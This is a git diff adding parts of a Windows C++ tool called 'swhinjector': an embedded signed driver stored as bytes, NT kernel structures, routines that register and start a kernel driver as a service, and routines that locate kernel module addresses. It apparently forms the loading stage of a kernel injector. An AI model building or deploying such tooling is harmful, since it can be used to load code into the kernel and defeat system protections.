0xE1, 0x43, 0xAE, 0x6A, 0x44, 0x7C, 0xC8, 0x6F, 0xE3, 0xFB, 0xDE, 0xBF, 0x20, 0xF3, 0x8B, 0xFB, 0x1A, 0x7D, 0xF4, 0xCB, 0xEA, 0xC0, 0x47, 0x5F, 0xAA, 0x5A, 0xC4, 0x9B, 0x5D, 0x4A, 0xC4, 0x11, 0x45, 0xB4, 0x00, 0x40, 0x1F, + 0x35, 0x5C, 0x18, 0x06, 0xA5, 0xCF, 0x92, 0x77, 0x72, 0xB7, 0xF1, 0xF5, 0xE7, 0x55, 0x46, 0xFB, 0xB3, 0xED, 0x1E, 0xDA, 0x99, 0x49, 0xF8, 0x5A, 0x36, 0x8B, 0xD3, 0xED, 0xA1, 0xFF, 0x6F, 0x3D, 0x25, 0x3D, 0x57, 0xA0, 0xB9, 0x75, 0x94, 0x1F, + 0x44, 0x29, 0x79, 0x45, 0xD7, 0x29, 0x2C, 0xD0, 0xBC, 0x2E, 0x4D, 0x32, 0xDA, 0x24, 0x57, 0x8D, 0x2C, 0x30, 0xE4, 0x93, 0x07, 0xE2, 0xE6, 0x02, 0x8E, 0xEE, 0x53, 0xEF, 0x9A, 0xD8, 0x09, 0x16, 0xF9, 0xD0, 0xB1, 0x3F, 0x17, 0xF1, 0xB7, 0xB3, + 0x79, 0x67, 0x9B, 0x2D, 0x28, 0xD5, 0x06, 0x39, 0x87, 0x79, 0x0F, 0xF2, 0x42, 0xB2, 0xF2, 0x9A, 0x31, 0xDB, 0x47, 0x0F, 0xCE, 0xF5, 0xBD, 0x97, 0x0C, 0xF3, 0xCE, 0x82, 0x02, 0xC9, 0xB6, 0x9F, 0xB2, 0x69, 0x7F, 0x68, 0xB3, 0xA1, 0x82, 0x02, + 0x0B, 0x30, 0x82, 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, + 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, + 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, + 0x20, 0x2D, 0x20, 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, 0x09, + 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, 0x31, 0x0F, 0x17, 0x0D, 0x31, + 0x33, 0x31, 0x31, 0x31, 0x34, 0x31, 0x35, 0x32, 0x33, 0x32, 0x32, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0xE4, 0x7B, 0x46, 0x28, 0x1A, 0x0A, 0x97, 0xDE, 0xA3, 0x12, 0x49, + 0x27, 0x2C, 0x3B, 0x8B, 0x11, 0x6A, 0x2A, 0xDF, 0x0D, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x64, 0x74, 0x6E, 0x03, 0x75, 0xCA, 0xAB, 0x84, 0x0C, 0x64, 0x50, 0x03, + 0xA4, 0x8A, 0x89, 0xAB, 0x94, 0x95, 0xC6, 0xC5, 0xC6, 0xF5, 0x12, 0x82, 0xAF, 0xC7, 0xD5, 0xDF, 0xE5, 0xCE, 0xD8, 0x80, 0x9C, 0x64, 0x31, 0x1C, 0x4E, 0xC9, 0x55, 0xF6, 0xA2, 0x12, 0x8A, 0xBD, 0x8D, 0x56, 0xE0, 0xE3, 0x7C, 0x12, 0x55, 0x1F, + 0x22, 0xFD, 0xB8, 0x2B, 0x5C, 0xE2, 0xBC, 0xCB, 0x02, 0xC6, 0x0A, 0x50, 0x21, 0x8D, 0x5B, 0x0C, 0xA3, 0x4D, 0x82, 0xF3, 0x8F, 0x5F, 0xF5, 0xB8, 0xF9, 0xD3, 0x77, 0x96, 0xEC, 0xCD, 0xA3, 0x95, 0x07, 0x2B, 0x38, 0x9E, 0x98, 0x2A, 0x84, 0x7A, + 0xED, 0xD3, 0x38, 0xF1, 0xE4, 0xF2, 0x52, 0x25, 0x76, 0xDE, 0x47, 0x47, 0x1A, 0x09, 0x5E, 0x71, 0xAF, 0x4F, 0x71, 0xDB, 0xA3, 0x3C, 0x85, 0xDE, 0xA1, 0x89, 0x32, 0xA6, 0xF1, 0xA2, 0xE2, 0x77, 0x7D, 0x63, 0x24, 0x3C, 0xB0, 0x03, 0xF8, 0x5B, + 0x00, 0x9E, 0x16, 0xC0, 0x83, 0x45, 0x38, 0xE6, 0x1F, 0xEB, 0x62, 0x18, 0x61, 0x9A, 0x06, 0x58, 0xEB, 0x64, 0x29, 0x88, 0xD0, 0xB8, 0xB5, 0x33, 0x9B, 0x5A, 0x7B, 0xE0, 0x24, 0xDC, 0x7F, 0x54, 0x87, 0x60, 0x1A, 0x4B, 0x53, 0x7F, 0x21, 0xF6, + 0x79, 0x24, 0xD9, 0x3E, 0x8C, 0x6A, 0x8B, 0x0C, 0xDD, 0xB8, 0x90, 0x06, 0xD8, 0x70, 0x31, 0xF0, 0xC7, 0xEC, 0x5C, 0x06, 0x63, 0x62, 0xEA, 0x1A, 0x5C, 0x92, 0x96, 0x13, 0x26, 0x44, 0xE6, 0x07, 0xD2, 0x66, 0x30, 0x8C, 0x05, 0xF0, 0xB0, 0x26, + 0x38, 0x0B, 0x61, 0x39, 0x05, 0x44, 0xCF, 0x94, 0x95, 0x2A, 0x8B, 0x44, 0x74, 0x2D, 0x5E, 0x66, 0x57, 0xBC, 0xE2, 0xCB, 0x97, 0x94, 0xC2, 0x3D, 0x45, 0x12, 0xCE, 0x5C, 0x76, 0x58, 0x2D, 0xB0, 0x6F, 0xC7, 0x2E, 0xC2, 0x62, 0xC3, 0xB3, 0xCC, + 0x07, 0x60, 0xD4, 0x37, 0x00, 0x00, 0x00, 0x00 + }; +} \ No newline at end of file diff --git a/swhinjector/src/nt.hpp b/swhinjector/src/nt.hpp new file mode 100644 index 0000000..f6dce30 --- /dev/null +++ b/swhinjector/src/nt.hpp @@ -0,0 +1,79 @@ +#pragma once +#include +#include +#pragma comment(lib, "ntdll.lib") + +namespace nt +{ + constexpr auto PAGE_SIZE = 0x1000; + constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + + constexpr auto SystemModuleInformation = 11; + constexpr auto SystemHandleInformation = 16; + constexpr auto SystemExtendedHandleInformation = 64; + + typedef struct _SYSTEM_HANDLE + { + PVOID Object; + HANDLE UniqueProcessId; + HANDLE HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; + } SYSTEM_HANDLE, *PSYSTEM_HANDLE; + + typedef struct _SYSTEM_HANDLE_INFORMATION_EX + { + ULONG_PTR HandleCount; + ULONG_PTR Reserved; + SYSTEM_HANDLE Handles[1]; + } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + + typedef enum _POOL_TYPE { + NonPagedPool, + NonPagedPoolExecute, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolBase, + NonPagedPoolBaseMustSucceed, + NonPagedPoolBaseCacheAligned, + NonPagedPoolBaseCacheAlignedMustS, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession, + NonPagedPoolNx, + NonPagedPoolNxCacheAligned, + NonPagedPoolSessionNx + } POOL_TYPE; + + typedef struct _RTL_PROCESS_MODULE_INFORMATION + { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; + } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + + typedef struct _RTL_PROCESS_MODULES + { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; + } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; +} \ No newline at end of file diff --git a/swhinjector/src/service.cpp b/swhinjector/src/service.cpp new file mode 100644 index 0000000..7a7c4eb --- /dev/null +++ b/swhinjector/src/service.cpp @@ -0,0 +1,54 @@ +#include "service.hpp" + +bool service::RegisterAndStart(const std::string& driver_path) +{ + const std::string driver_name = std::filesystem::path(driver_path).filename().string(); + const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); + + if (!sc_manager_handle) + return false; + + SC_HANDLE service_handle = CreateService(sc_manager_handle, driver_name.c_str(), driver_name.c_str(), SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driver_path.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr); + + if (!service_handle) + { + service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_START); + + if (!service_handle) + { + CloseServiceHandle(sc_manager_handle); + return false; + } + } + + const bool result = StartService(service_handle, 0, nullptr); + + CloseServiceHandle(service_handle); + CloseServiceHandle(sc_manager_handle); + + return result; +} + +bool service::StopAndRemove(const std::string& driver_name) +{ + const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); + + if (!sc_manager_handle) + return false; + + const SC_HANDLE service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_STOP | DELETE); + + if (!service_handle) + { + CloseServiceHandle(sc_manager_handle); + return false; + } + + SERVICE_STATUS status = { 0 }; + const bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status) && DeleteService(service_handle); + + CloseServiceHandle(service_handle); + CloseServiceHandle(sc_manager_handle); + + return result; +} \ No newline at end of file diff --git a/swhinjector/src/service.hpp b/swhinjector/src/service.hpp new file mode 100644 index 0000000..e4356a8 --- /dev/null +++ b/swhinjector/src/service.hpp @@ -0,0 +1,10 @@ +#pragma once +#include +#include +#include + +namespace service +{ + bool RegisterAndStart(const std::string& driver_path); + bool StopAndRemove(const std::string& driver_name); +}; \ No newline at end of file diff --git a/swhinjector/src/utils.cpp b/swhinjector/src/utils.cpp new file mode 100644 index 0000000..0295ed8 --- /dev/null +++ b/swhinjector/src/utils.cpp @@ -0,0 +1,68 @@ +#include "utils.hpp" + +bool utils::ReadFileToMemory(const std::string& file_path, std::vector* out_buffer) +{ + std::ifstream file_ifstream(file_path, std::ios::binary); + + if (!file_ifstream) + return false; + + out_buffer->assign((std::istreambuf_iterator(file_ifstream)), std::istreambuf_iterator()); + file_ifstream.close(); + + return true; +} + +bool utils::CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size) +{ + std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary); + + if (!file_ofstream.write(address, size)) + { + file_ofstream.close(); + return false; + } + + file_ofstream.close(); + return true; +} + +uint64_t utils::GetKernelModuleAddress(const std::string& module_name) +{ + void* buffer = nullptr; + DWORD buffer_size = 0; + + NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == nt::STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; + } + + const auto modules = static_cast(buffer); + + for (auto i = 0u; i < modules->NumberOfModules; ++i) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName); + + if (!_stricmp(current_module_name.c_str(), module_name.c_str())) + { + const uint64_t result = reinterpret_cast(modules->Modules[i].ImageBase); + + VirtualFree(buffer, 0, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; +} \ No newline at end of file diff --git a/swhinjector/src/utils.hpp b/swhinjector/src/utils.hpp new file mode 100644 index 0000000..fc022df --- /dev/null +++ b/swhinjector/src/utils.hpp @@ -0,0 +1,17 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include + +#include "nt.hpp" + +namespace utils +{ + bool ReadFileToMemory(const std::string& file_path, std::vector* out_buffer); + bool CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size); + uint64_t GetKernelModuleAddress(const std::string& module_name); +} \ No newline at end of file diff --git a/swhinjector/swhinjector.vcxproj b/swhinjector/swhinjector.vcxproj new file mode 100644 index 0000000..5f19bd4 --- /dev/null +++ b/swhinjector/swhinjector.vcxproj @@ -0,0 +1,160 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313} + swhinjector + 10.0 + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)bin\$(Platform)\$(Configuration)\ + $(SolutionDir)build\$(ProjectName)\$(Platform)\$(Configuration)\ + + + $(SolutionDir)bin\$(Platform)\$(Configuration)\ + $(SolutionDir)build\$(ProjectName)\$(Platform)\$(Configuration)\ + + + + Level3 + Disabled + true + true + + + Console + + + + + Level3 + Disabled + false + true + stdcpp17 + ProgramDatabase + false + _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + false + + + Console + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + Level3 + MaxSpeed + true + true + true + stdcpp17 + _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + false + + + Console + true + true + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/swhinjector/swhinjector.vcxproj.filters b/swhinjector/swhinjector.vcxproj.filters new file mode 100644 index 0000000..5efd309 --- /dev/null +++ b/swhinjector/swhinjector.vcxproj.filters @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file